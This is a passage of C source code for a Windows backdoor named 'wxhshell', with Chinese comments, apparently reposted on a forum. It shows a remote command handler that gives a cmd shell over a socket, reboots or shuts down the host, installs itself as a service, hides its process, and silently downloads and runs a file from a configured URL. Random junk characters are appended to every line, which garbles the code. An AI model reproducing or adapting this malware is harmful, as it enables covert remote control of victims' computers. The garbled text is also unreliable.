    switch(cmd[0]) { Dx[t?-  
  LVLh&9  
  // 帮助 5y"yd6O]O5  
  case '?': { 8LwbOR"  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?I 1@:?Qi  
    break; }%R6Su]y  
  } pp[? k}@  
  // 安装 }wkBa]  
  case 'i': { 9HEc=,D|  
    if(Install()) D\V}Eo';6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LZ ID|-  
    else %9NGVC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ._tv$Gd@k  
    break; IW1]H~1w  
    }  "rjJ"u 1  
  // 卸载 tXK hkt`  
  case 'r': { \^-3)*r  
    if(Uninstall()) C.(ZXU7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y!*,G]7  
    else v @N8v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0 q3<RX>M%  
    break; 3^su%z_%  
    } jv|IV  
  // 显示 wxhshell 所在路径 ]aakEU  
  case 'p': { {Ue6DK %  
    char svExeFile[MAX_PATH]; ?n@PZL= ]  
    strcpy(svExeFile,"\n\r"); KuI>:i;  
      strcat(svExeFile,ExeFile); Mc6Cte]3|  
        send(wsh,svExeFile,strlen(svExeFile),0); zPkg3H  
    break; ?I@3`?'  
    } Yu1xJgl  
  // 重启 &1':s|c  
  case 'b': { @i)tQd!s  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t=e0z^2i+  
    if(Boot(REBOOT)) x)* /3[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !7 ^He3  
    else {  +NXj/  
    closesocket(wsh); /w!' [  
    ExitThread(0); <m6I)}K  
    } sw@2 ?+  
    break; ntkinbbD  
    } ~fUSmc  
  // 关机 $cy:G  
  case 'd': { h?1pGz)[C  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AeJM[fCMa  
    if(Boot(SHUTDOWN)) q,(&2./  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); slmxit  
    else { UQdQtj1'  
    closesocket(wsh); =J'?>-B  
    ExitThread(0); yR$_$N+E  
    } .6;B3  
    break; Vlz T  
    } /&|pXBY$;  
  // 获取shell s+w<!`-  
  case 's': { S BoF (0<  
    CmdShell(wsh); 0*"j:V  
    closesocket(wsh); \9?<E[  
    ExitThread(0); R`?^%1^N  
    break; 1c4%g-]7  
  } [ O)Zof  
  // 退出 : [9'nR  
  case 'x': { ,q HG1#^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H.mG0x`M"E  
    CloseIt(wsh); :58'U|  
    break; ^MW%&&,BL  
    } X]*/]Xx  
  // 离开 Ww@;9US 3  
  case 'q': { 3d<HIG^W}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8JrGZ8Q4RM  
    closesocket(wsh); yfW^wyDd2o  
    WSACleanup(); oQXkMKZ  
    exit(1); htRZ}e  
    break; i+Dgw  
        } %Tb|Yfyr C  
  } )89jP088V  
  } %Eh%mMb^  
-8jqC6mQ  
  // 提示信息 4w6K|v<X  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eM"mP&TTL  
} p4EItRZS  
  } kw~H%-,]  
mlWIq]J  
  return; ?KXQ)Y/su  
} .rm7Sd4K  
{wXN kq  
// shell模块句柄 }gi' %e  
int CmdShell(SOCKET sock) ` W>B8  
{ 4Z<l>!  
STARTUPINFO si; O*{H;7Pv  
ZeroMemory(&si,sizeof(si)); F s\P/YX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;T+U&U0d|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ZcRm5Du~:  
PROCESS_INFORMATION ProcessInfo; wT= hO+  
char cmdline[]="cmd"; RT"2Us]*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); B/hHkOoo  
  return 0; 5(7MQuRR  
} b[;3KmUB  
faOWhIG  
// 自身启动模式 KAcri<^G  
int StartFromService(void) si_ HN{  
{ cEjdImAzU  
typedef struct p-r%MnT  
{ ~+ wamX3  
  DWORD ExitStatus; VFSn!o:C  
  DWORD PebBaseAddress; = DTOI  
  DWORD AffinityMask; [(F<|f:n  
  DWORD BasePriority; ]U1,NhZu  
  ULONG UniqueProcessId; DjzBG*f/  
  ULONG InheritedFromUniqueProcessId; *>p(]_s,  
}   PROCESS_BASIC_INFORMATION; "HfU,$[  
arQ %  
PROCNTQSIP NtQueryInformationProcess; +()t8,S,  
*F*jA$aY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -yQ\3wli`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &qP-x98E?  
x0h3jw+6  
  HANDLE             hProcess; %=4ak]As  
  PROCESS_BASIC_INFORMATION pbi; /+t[,  
UdW(\%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); y2$;t'  
  if(NULL == hInst ) return 0; {Y:ZY+  
YQ@6innT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r82o[+$u0K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); lJzy)ne  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); J1p75c%  
CCh8?sM  
  if (!NtQueryInformationProcess) return 0; wV[V#KpX8-  
YATdGLTeq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -y*_.Ws9  
  if(!hProcess) return 0; )Ct*G= N  
%^5@z1d,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; RYZE*lWUh  
Dp*$GQ  
  CloseHandle(hProcess); s >VEuLY*  
r%,H*DOu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C9F+e  
if(hProcess==NULL) return 0; U\Ar*b)/T  
Az< 9hk  
HMODULE hMod; )Bn>/-  
char procName[255]; h [IYA1/y  
unsigned long cbNeeded; x]R(twi  
Sn0gTsZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H : T N  
J/x@$'  
  CloseHandle(hProcess); *Cnq2=A]A  
N8XC~Dh{  
if(strstr(procName,"services")) return 1; // 以服务启动 5':Gu}Vq  
R@<_Hb;Aeb  
  return 0; // 注册表启动 .i+* #djx  
} II-$WJy  
!/nx=vg p  
// 主模块 0Ox|^V  
int StartWxhshell(LPSTR lpCmdLine) A }-&C  
{ r6n5Jz  
  SOCKET wsl; !FB \h<6  
BOOL val=TRUE; qqe2,X?  
  int port=0; [{@zb-h  
  struct sockaddr_in door; o'eI(@{F=  
i$bzdc#s  
  if(wscfg.ws_autoins) Install(); %K^gUd>,R  
*t.q m5h  
port=atoi(lpCmdLine); X7H'Uk9:  
8Z dUPW\e  
if(port<=0) port=wscfg.ws_port; '(*&Ax  
2gwZb/'i  
  WSADATA data; !{Q:(B#ec  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {Vxc6,=  
-SvTg{Q{la  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +mc [S  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); d@4rD}_Z  
  door.sin_family = AF_INET; xJ~ gT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V#NG+U.B  
  door.sin_port = htons(port); -^iUVO`z  
=naR{pI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I /On3"U%  
closesocket(wsl); eyT>wma0  
return 1; Ufdl|smt1  
} <&5m N  
?< cM^$lI>  
  if(listen(wsl,2) == INVALID_SOCKET) { > -y&$1  
closesocket(wsl); OJP5k/U$  
return 1; |(V?,^b^ro  
} sno`=+|U]  
  Wxhshell(wsl); F$Im9T6  
  WSACleanup(); 'qL5$zG  
7G5y)Qb  
return 0; p}3NJV  
F{k$Atb?g/  
} %MJL5  
yiV G ]s  
// 以NT服务方式启动 =)I"wR"v$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *@_u4T7|{  
{ T[;; 9z  
DWORD   status = 0; D~#Ei?aH  
  DWORD   specificError = 0xfffffff; Y[Q @WdE9  
J I<3\=:+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; LY]nl3{E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; d2rL 8jW  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )K~w'TUr  
  serviceStatus.dwWin32ExitCode     = 0; HA6G)x  
  serviceStatus.dwServiceSpecificExitCode = 0; g(/{.%\k  
  serviceStatus.dwCheckPoint       = 0; Q}kfM^i  
  serviceStatus.dwWaitHint       = 0; AZwl fdLB  
wV\%R,bZj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8|O=/m^]  
  if (hServiceStatusHandle==0) return; pDu{e>S|:  
+TC1nkX  
status = GetLastError(); 5Go0}'*%  
  if (status!=NO_ERROR) B?LXI3sQZ  
{ }N3V5cab  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; dY}pN"  
    serviceStatus.dwCheckPoint       = 0; .~3kGf":  
    serviceStatus.dwWaitHint       = 0; 5h0>!0  
    serviceStatus.dwWin32ExitCode     = status; pb#mg^8  
    serviceStatus.dwServiceSpecificExitCode = specificError; g \Wj+el}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8j%'9vPi  
    return; }g`Gh|C  
  } -G9|n#zCU  
Y\xUT>(J7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y&"!m }  
  serviceStatus.dwCheckPoint       = 0; 7+}JgUh  
  serviceStatus.dwWaitHint       = 0; Jf7frzw  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UVz/n68\k7  
} YOyp|%!  
YNSyi@  
// 处理NT服务事件,比如:启动、停止 ?aBj#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) f~ =r*&U  
{ %KtU1A(["  
switch(fdwControl) 740B\pc0  
{ c'Z: 9?#5  
case SERVICE_CONTROL_STOP: G"T\=cQz  
  serviceStatus.dwWin32ExitCode = 0; ?  -3\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DAdYg0efex  
  serviceStatus.dwCheckPoint   = 0; j!\dn!Xwt  
  serviceStatus.dwWaitHint     = 0; nnwJ YEi  
  { c%z'xM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BOvF)4`  
  } o}8I_o&]U  
  return; u%u&F^y  
case SERVICE_CONTROL_PAUSE: ~6`iY@)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; TBCp L]QT  
  break; gAt~?HvW6  
case SERVICE_CONTROL_CONTINUE: gZO&r#   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3J~0O2  
  break; rn8cdM N  
case SERVICE_CONTROL_INTERROGATE: +r]zs^'  
  break; $7Z)Yp&T  
}; d"E^SBO&  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bFY~oa%C  
} Ipe n  
Ooc\1lX  
// 标准应用程序主函数 _ \D"E>oM  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >oGiIYq  
{ +bA%  
"?3`  
// 获取操作系统版本 _c`K+o"3  
OsIsNt=GetOsVer(); Es!Q8.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a~PK pw2%  
eF~dQ4RZ  
  // 从命令行安装 os4{0Mxu  
  if(strpbrk(lpCmdLine,"iI")) Install(); *$,:m  
OGOND,/R?/  
  // 下载执行文件 I|9 SiZ0  
if(wscfg.ws_downexe) { 8R/dA<Ww  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o*5U:'=5}  
  WinExec(wscfg.ws_filenam,SW_HIDE); *bd[S0l  
} PL X>-7@  
-C-yQ.>\T#  
if(!OsIsNt) { v+G=E2Lhv  
// 如果时win9x,隐藏进程并且设置为注册表启动 7f3O  
HideProc(); E{E0Z9t7&  
StartWxhshell(lpCmdLine); ^v&D;<&R  
} k*?I>%^6#T  
else q{0R=jb  
  if(StartFromService()) &@% $2O.3  
  // 以服务方式启动 $pyOn2}  
  StartServiceCtrlDispatcher(DispatchTable); M|,mr~rRG  
else jYRP8 Yi  
  // 普通方式启动 xtfBfA  
  StartWxhshell(lpCmdLine); bq>_qpr  
q%Yn;g|_  
return 0; oGa^/:6L  
}
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只看该作者 1 发表于: 2006-10-10
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